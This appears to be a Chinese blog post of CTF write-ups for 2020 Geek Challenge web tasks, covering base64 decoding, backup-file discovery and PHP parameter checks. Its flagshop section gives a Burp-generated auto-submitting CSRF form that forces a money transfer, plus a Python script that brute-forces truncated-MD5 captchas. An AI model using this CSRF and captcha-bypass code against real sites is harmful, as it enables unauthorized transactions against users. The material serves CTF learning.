极客大挑战2020年部分wp

本文围绕2020极客大挑战的Web题目展开,涵盖“朋友的学妹”“EZWWW”“刘壮的黑页”等多道题。解题过程涉及查看控制窗口、利用御剑扫后台、分析PHP代码、使用get和post参数、利用漏洞攻击、编写抓包页面、爆破MD5截断加密验证码等操作以获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

2020极客大挑战开始了。又是一届自闭季。在变菜的路上一去不复返

web

一、朋友的学妹

打开题目题目
发现提示,然后查看控制窗口发现
发现
然后看到base64加密,解密后得到flag。

二、EZWWW

打开题目题目
发现提示网站已经备份,那么就直接御剑扫后台得到
御剑扫描结果
然后打开zip路径得到下载提示,打开打开压缩包
直接放弃文档里的flag。肯定假的。所以打开index.php,发现

<html>
 <head>
  <title>Lola's website1.0</title>
 </head>
 <body>
 <?php echo '<h1>welcome to my website</h1>'; ?>
 <?php echo '<p>i will never forget to backup my website......</p>'; ?>
 <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>
 </body>
</html>
<?php
$key1 = $_POST['a'];
$key2 = base64_decode('c3ljbDB2ZXI=');
if($key1 === $key2)
{
    //this is a true flag
echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';
}
?>

发现题目源码,然后按照源码意思,进行所给字符串的base64解码,然后post a=解码后的字符。就会得到flag。flag得到

三、刘壮的黑页

打开题目
题目
然后往下翻,发现php代码
php源码

<?php
include("flag.php");
highlight_file(__FILE__);
$username = $_GET['username'];
$passwd = $_POST['passwd'];
if ($username === 'admin' && $passwd === 'syclover') {
    echo $flag;
}

所以按照代码所说,get、post两个参数进去得到flag。得到flag

四、welcome

打开题目
题目
发现一串空白。然后就随便get了一个东西,但是发现题目提示还有第二种方法,就post了一个。

五、flagshop

听题目就是卖flag的了。打开注册进行登录。发现界面如下
成功的截图
钱包那里是成功之后的效果。商品类
当时好奇点了个今晚去你家吃饭卡一下子就没钱了,让我本就不富裕的生活更加的雪上加霜。
回归正题,在转账界面可以进行转账,然后就试了一下给自己转账效果
然后感觉就是在留言界面进行操作了。但是具体怎么操作不了解,后来请教了团队大佬,经过他的讲解之后了解了可操作的原理。
原理:在报告界面有一个提交报告内容,在这里提交了内容后,后台会进行点击一次的操作,不过经过实验发现是只会点击一次。也就是说,这个题目可以利用CSRF漏洞进行攻击,但是需要自己写一个页面让后台点击,接着会自动跳转到转账页面,让服务器以为是后台转账操作。
然后就是强烈介绍我的大表哥–brupsuit了。利用其自带功能,可以编写一个csrf攻击html网页
抓包

抓包页面是这样的,然后就csrf
页面源码
然后把源码copy一下,在本地创建一个html文档。名字随意。源码如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="target" value="qwasd" />
      <input type="hidden" name="money" value="1000000000000000000000000000000000000000000000000000000" />
      <input type="hidden" name="messages" value="123" />
      <input type="submit" value="Submit request" id="onclick_1" />
    </form>
    <script type="text/javascript">
      document.getElementById("onclick_1").click();
    </script>
  </body>
</html>

其中

 <script type="text/javascript">
      document.getElementById("onclick_1").click();
    </script>

这一段代码用来实现页面进入后自动点击的操作。
然后由于是要后台点击你的链接,所以不能放在本地,有条件的哥哥姐姐们可以放在自己的服务器上面,小弟比较菜,就在博客里放了一个链接。也达到了同样的效果。
然后就是提交报告
上面验证码初看一脸懵逼,再看两眼迷离的,所以就问了大佬之后知道了是MD5截断加密。大佬还慷慨的给了我一个脚本用来爆破的

#-*- coding: utf-8 -*-
#!/usr/bin/env/python
from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '6fb05'      #已知的md5明文
def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
    key = code.split(':')
    start = int(key[0])
    end = int(key[1])
    for code in range(start, end):
        if md5(code)[0:5] == knownMd5:
            print(code)
            break
list=[]
for i in range(3):    #这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()

然后最后加上自己的链接以及爆破出来的验证码,标题随便写,提交成功就等着转账到账了。
效果
之后就是到账,购买flag。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值